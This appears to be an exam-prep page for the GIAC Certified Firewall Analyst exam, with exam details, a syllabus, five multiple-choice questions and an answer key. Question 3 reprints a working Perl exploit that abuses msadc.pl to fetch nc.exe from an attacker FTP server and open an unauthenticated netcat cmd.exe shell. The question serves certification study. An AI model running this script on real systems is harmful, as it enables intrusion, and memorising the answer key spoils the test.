Updated: Aug 23, 2026
No. of Questions: 391 Questions & Answers with Testing Engine
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| Certification Vendor: | GIAC |
|---|---|
| Exam Name: | GIAC Certified Firewall Analyst (GCFW) Certification Exam |
| Exam Number: | GCFW |
| Real Exam Qty: | 115 |
| Exam Format: | Proctored Online Exam, Multiple Choice |
| Passing Score: | Approximately 70% |
| Exam Duration: | 120 minutes |
| Available Languages: | English |
| Related Certifications: | GIAC Certified Intrusion Analyst (GCIA) GIAC Security Essentials (GSEC) GIAC Certified Incident Handler (GCIH) |
| Exam Price: | USD 979 (standard GIAC certification exam pricing, may vary) |
| Certificate Validity Period: | 4 years |
| Recommended Training: | SANS Firewall Security Courses (e.g., SEC505) |
| Exam Registration: | GIAC Official Certification Registration |
| Sample Questions: | GIAC GCFW Sample Questions |
| Exam Way: | Online proctored exam or authorized testing center delivery |
| Pre Condition: | No mandatory prerequisites, but recommended knowledge of networking fundamentals and basic security concepts (equivalent to GSEC level knowledge is helpful). |
| Official Syllabus URL: | https://www.giac.org/certifications/firewall-analyst-gcfw/ |
| Section | Objectives |
|---|---|
| Traffic Analysis and Troubleshooting | - Diagnosing connectivity and policy issues - Using logs for forensic analysis - Packet capture and inspection techniques |
| Packet Filtering and Rule Management | - Access control lists and rule evaluation logic - Logging and audit configuration - Rule ordering, optimization, and cleanup |
| Firewall Technologies and Architecture | - Stateful and stateless firewall concepts - Firewall deployment models (perimeter, distributed, host-based) - Next-generation firewall capabilities |
| Intrusion Detection and Prevention Integration | - Threat detection and mitigation strategies - IDS vs IPS functionality with firewalls |
| Network Address Translation and VPNs | - Remote access and site-to-site VPN configuration - NAT types and use cases - IPSec fundamentals |
Question 1
Distributed Checksum Clearinghouse (DCC) is a hash sharing method of spam email detection.
Which of the following protocols does the DCC use?
A. ICMP
B. TCP
C. UDP
D. TELNET
Question 2
Windump is a Windows port of the famous TCPDump packet sniffer available on a variety of platforms. In order to use this tool on the Windows platform a user must install a packet capture library.
What is the name of this library?
A. WinPCap
B. PCAP
C. libpcap
D. SysPCap
Question 3
Adam, a malicious hacker performs an exploit, which is given below:
#################################################################
$port = 53;
# Spawn cmd.exe on port X
$your = "192.168.1.1";# Your FTP Server 89
$user = "Anonymous";# login as
$pass = '[email protected]';# password
#################################################################
$host = $ARGV[0];
print "Starting ...\n";
print "Server will download the file nc.exe from $your FTP server.\n"; system("perl
msadc.pl -h
$host -C \"echo
open $your >sasfile\""); system("perl msadc.pl -h $host -C \"echo $user>>sasfile\"");
system
("perl msadc.pl -h
$host -C \"echo $pass>>sasfile\""); system("perl msadc.pl -h $host -C \"echo
bin>>sasfile\"");
system("perl
msadc.pl -h $host -C \"echo get nc.exe>>sasfile\""); system("perl msadc.pl -h $host -C
\"echo get
hacked.
html>>sasfile\""); system("perl msadc.pl -h $host -C \"echo quit>>sasfile\""); print "Server
is
downloading ...
\n";
system("perl msadc.pl -h $host -C \"ftp \-s\:sasfile\""); print "Press ENTER when download
is
finished ...
(Have a ftp server)\n";
$o=; print "Opening ...\n";
system("perl msadc.pl -h $host -C \"nc -l -p $port -e cmd.exe\""); print "Done.\n";
#system("telnet $host $port"); exit(0);
Which of the following is the expected result of the above exploit?
A. Creates a share called "sasfile" on the target system
B. Opens up a SMTP server that requires no username or password
C. Opens up a telnet listener that requires no username or password
D. Creates an FTP server with write permissions enabled
Question 4
Which of the following utilities provides an efficient way to give specific users permission to use specific system commands at the root level of a Linux operating system?
A. SUDO
B. SSH
C. Snort
D. Apache
Question 5
You work as a Network Administrator for Tech Perfect Inc. The company has a TCP/IP-based network.
A firewall has been configured on the network. You configure a filter on the router. You verify that SMTP operations have stopped after the recent configuration. Which of the following ports will you have to open on the router to resolve the issue?
A. 25
B. 80
C. 21
D. 20
Solutions:
| Question 1 Answer: C | Question 2 Answer: A | Question 3 Answer: C | Question 4 Answer: A | Question 5 Answer: A |
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